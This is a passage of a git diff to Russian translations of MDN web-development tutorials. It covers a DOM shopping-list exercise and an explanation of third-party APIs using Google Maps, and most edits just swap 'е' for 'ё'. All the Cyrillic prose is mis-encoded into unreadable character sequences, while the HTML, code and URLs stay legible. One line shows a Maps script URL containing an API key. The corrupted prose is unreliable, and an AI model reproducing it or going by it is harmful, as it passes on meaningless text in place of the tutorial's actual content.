ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΎΠΊΠ½Π° - Π΄Π°Π²Π°ΠΉΡ‚Π΅ обратимся ΠΊ Π½Π΅ΠΌΡƒ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий {{domxref("Window.onresize")}} ΠΈ повторяйтС наш Ρ€Π°Π·ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ измСняСтся. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°:
<pre class="brush: js notranslate">window.onresize = function() {
WIDTH = window.innerWidth;
HEIGHT = window.innerHeight;
@@ -260,14 +260,14 @@ div.style.height = HEIGHT + 'px';</pre>
<ul>
<li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ Π² спискС.</li>
<li>ΠšΠ°ΠΆΠ΄ΠΎΠΌΡƒ элСмСнту Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ прСдоставлСна ΠΊΠ½ΠΎΠΏΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΆΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ этот элСмСнт ΠΈΠ· списка.</li>
- <li>Π’Ρ…ΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡƒΡΡ‚ΠΎΡˆΠ΅Π½ ΠΈ сфокусирован, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ввСсти Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт.</li>
+ <li>Π’Ρ…ΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡƒΡΡ‚ΠΎΡˆΡ‘Π½ ΠΈ сфокусирован, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ввСсти Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт.</li>
</ul>
<p>Π“ΠΎΡ‚ΠΎΠ²ΠΎΠ΅ Π΄Π΅ΠΌΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14563/shopping-list.png" style="border-style: solid; border-width: 1px; display: block; height: 225px; margin: 0px auto; width: 369px;"></p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ список Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ список Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅.</p>
<ol>
<li>Для Π½Π°Ρ‡Π°Π»Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ копию нашСго Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list.html">shopping-list.html</a> ΠΈ скопируйтС Π΅Π³ΠΎ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ CSS, список с ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ, Π²Π²ΠΎΠ΄ ΠΈ ΠΊΠ½ΠΎΠΏΠΊΠ°, пустой список ΠΈ элСмСнт {{htmlelement("script")}}. Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ всС свои дополнСния Π²Π½ΡƒΡ‚Ρ€ΠΈ скрипта.</li>
diff --git a/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html b/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html
index 4977fe99c7..69af264c07 100644
--- a/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html
+++ b/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html
@@ -27,7 +27,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_сторонниС_API">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ сторонниС API?</h2>
-<p>Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π½ΠΈΠ΅ API - это API, прСдоставляСмыС Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΠΌΠΈ Π»ΠΈΡ†Π°ΠΌΠΈ β€” ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‚Π°ΠΊΠΈΠΌΠΈ компаниями, ΠΊΠ°ΠΊ Facebook, Twitter, or Google β€” Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΈΡ… функциям с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π½Π° своСм собствСнном сайтС. Как ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ Π² нашСй <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Π²Π²ΠΎΠ΄Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ± API</a>, ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² являСтся использованиС <a href="https://developers.google.com/maps/">Google Maps APIs</a> для отобраТСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΠΊΠ°Ρ€Ρ‚ Π½Π° Π²Π°ΡˆΠΈΡ… страницах.</p>
+<p>Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π½ΠΈΠ΅ API - это API, прСдоставляСмыС Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΠΌΠΈ Π»ΠΈΡ†Π°ΠΌΠΈ β€” ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‚Π°ΠΊΠΈΠΌΠΈ компаниями, ΠΊΠ°ΠΊ Facebook, Twitter, or Google β€” Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΈΡ… функциям с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π½Π° своём собствСнном сайтС. Как ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ Π² нашСй <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Π²Π²ΠΎΠ΄Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ± API</a>, ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² являСтся использованиС <a href="https://developers.google.com/maps/">Google Maps APIs</a> для отобраТСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΠΊΠ°Ρ€Ρ‚ Π½Π° Π²Π°ΡˆΠΈΡ… страницах.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ снова посмотрим Π½Π° наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠ°Ρ€Ρ‚Ρ‹ (см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">исходный ΠΊΠΎΠ΄ Π½Π° GitHub</a>; <a href="https://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">см. это Π² дСйствии</a>), Β ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ для ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΠΈ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ сторонниС API ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ ΠΎΡ‚ API-интСрфСйсов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
@@ -61,12 +61,12 @@ var myOptions = {
var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>LatLng</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор <code>google.maps.LatLng()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΡˆΠΈΡ€ΠΎΡ‚Ρƒ ΠΈ Π΄ΠΎΠ»Π³ΠΎΡ‚Ρƒ мСстополоТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΈΠ· API Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΠΏΡ†ΠΈΠΉ (<code>myOptions</code>), содСрТащий эту ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΊΠ°Ρ€Ρ‚Ρ‹. НаконСц, ΠΌΡ‹ фактичСски создаСм ΠΊΠ°Ρ€Ρ‚Ρƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор <code>google.maps.Map()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² элСмСнт, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°Ρ€Ρ‚Ρƒ, ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΠΏΡ†ΠΈΠΉ.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>LatLng</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор <code>google.maps.LatLng()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΡˆΠΈΡ€ΠΎΡ‚Ρƒ ΠΈ Π΄ΠΎΠ»Π³ΠΎΡ‚Ρƒ мСстополоТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΈΠ· API Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΠΏΡ†ΠΈΠΉ (<code>myOptions</code>), содСрТащий эту ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΊΠ°Ρ€Ρ‚Ρ‹. НаконСц, ΠΌΡ‹ фактичСски создаём ΠΊΠ°Ρ€Ρ‚Ρƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор <code>google.maps.Map()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² элСмСнт, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°Ρ€Ρ‚Ρƒ, ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΠΏΡ†ΠΈΠΉ.</p>
<p>Π­Ρ‚ΠΎ вся информация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ API ΠšΠ°Ρ€Ρ‚ Google Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ для построСния простой ΠΊΠ°Ρ€Ρ‚Ρ‹. Π‘Π΅Ρ€Π²Π΅Ρ€, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ΡΡŒ, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ всС слоТныС Π²Π΅Ρ‰ΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠ°Ρ€Ρ‚Ρ‹ для ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ области ΠΈ Ρ‚. Π΄.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НСкоторыС API ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ доступ ΠΊ ΠΈΡ… функциям нСсколько ΠΈΠ½Π°Ρ‡Π΅, трСбуя ΠΎΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ HTTP-запрос (см. <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра</a>) Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ шаблон URL для получСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Они Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ RESTful API, ΠΈ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ этого ΠΏΠΎΠ·ΠΆΠ΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НСкоторыС API ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ доступ ΠΊ ΠΈΡ… функциям нСсколько ΠΈΠ½Π°Ρ‡Π΅, трСбуя ΠΎΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ HTTP-запрос (см. <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра</a>) Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ шаблон URL для получСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Они Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ RESTful API, ΠΈ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ этого ΠΏΠΎΠ·ΠΆΠ΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
</div>
<h3 id="Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ_ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ_ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ</h3>
@@ -77,15 +77,15 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
<pre>https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA</pre>
-<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ URL, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² ΠΊΠΎΠ½Ρ†Π΅ URL-адрСса, являСтся ΠΊΠ»ΡŽΡ‡ΠΎΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° - Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ прилоТСния Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ для получСния ΠΊΠ»ΡŽΡ‡Π°, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² свой ΠΊΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ доступ ΠΊ функциям API. Π’ случаС с ΠšΠ°Ρ€Ρ‚Π°ΠΌΠΈ Google (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ API Google) Π²Ρ‹ ΠΏΠΎΠ΄Π°Π΅Ρ‚Π΅ заявку Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π° Π½Π° <a href="https://console.cloud.google.com/">Google Cloud Platform</a>.</p>
+<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ URL, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² ΠΊΠΎΠ½Ρ†Π΅ URL-адрСса, являСтся ΠΊΠ»ΡŽΡ‡ΠΎΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° - Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ прилоТСния Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ для получСния ΠΊΠ»ΡŽΡ‡Π°, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² свой ΠΊΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ доступ ΠΊ функциям API. Π’ случаС с ΠšΠ°Ρ€Ρ‚Π°ΠΌΠΈ Google (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ API Google) Π²Ρ‹ ΠΏΠΎΠ΄Π°Ρ‘Ρ‚Π΅ заявку Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π° Π½Π° <a href="https://console.cloud.google.com/">Google Cloud Platform</a>.</p>
<p>Π”Ρ€ΡƒΠ³ΠΈΠ΅ API ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ΠΊΠ»ΡŽΡ‡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ, Π½ΠΎ шаблон для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΈΠ· Π½ΠΈΡ… довольно схоТ.Β <br>
Β <br>
- Π’Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊ ΠΊΠ»ΡŽΡ‡Ρƒ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ API Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ подотчСтности. Когда Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ зарСгистрировался для ΠΊΠ»ΡŽΡ‡Π°, ΠΎΠ½ΠΈ Π·Π°Ρ‚Π΅ΠΌ извСстны поставщику API, ΠΈ дСйствиС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдпринято, Ссли ΠΎΠ½ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ врСдоносноС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ API (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ мСстополоТСниС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡΠΏΠ°ΠΌΠΈΡ‚ΡŒ API с мноТСством запросов для остановки Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€). Π‘Π°ΠΌΠΎΠ΅ простоС дСйствиС - просто ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ API.</p>
+ Π’Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊ ΠΊΠ»ΡŽΡ‡Ρƒ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ API Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ подотчётности. Когда Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ зарСгистрировался для ΠΊΠ»ΡŽΡ‡Π°, ΠΎΠ½ΠΈ Π·Π°Ρ‚Π΅ΠΌ извСстны поставщику API, ΠΈ дСйствиС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдпринято, Ссли ΠΎΠ½ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ врСдоносноС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ API (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ мСстополоТСниС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ 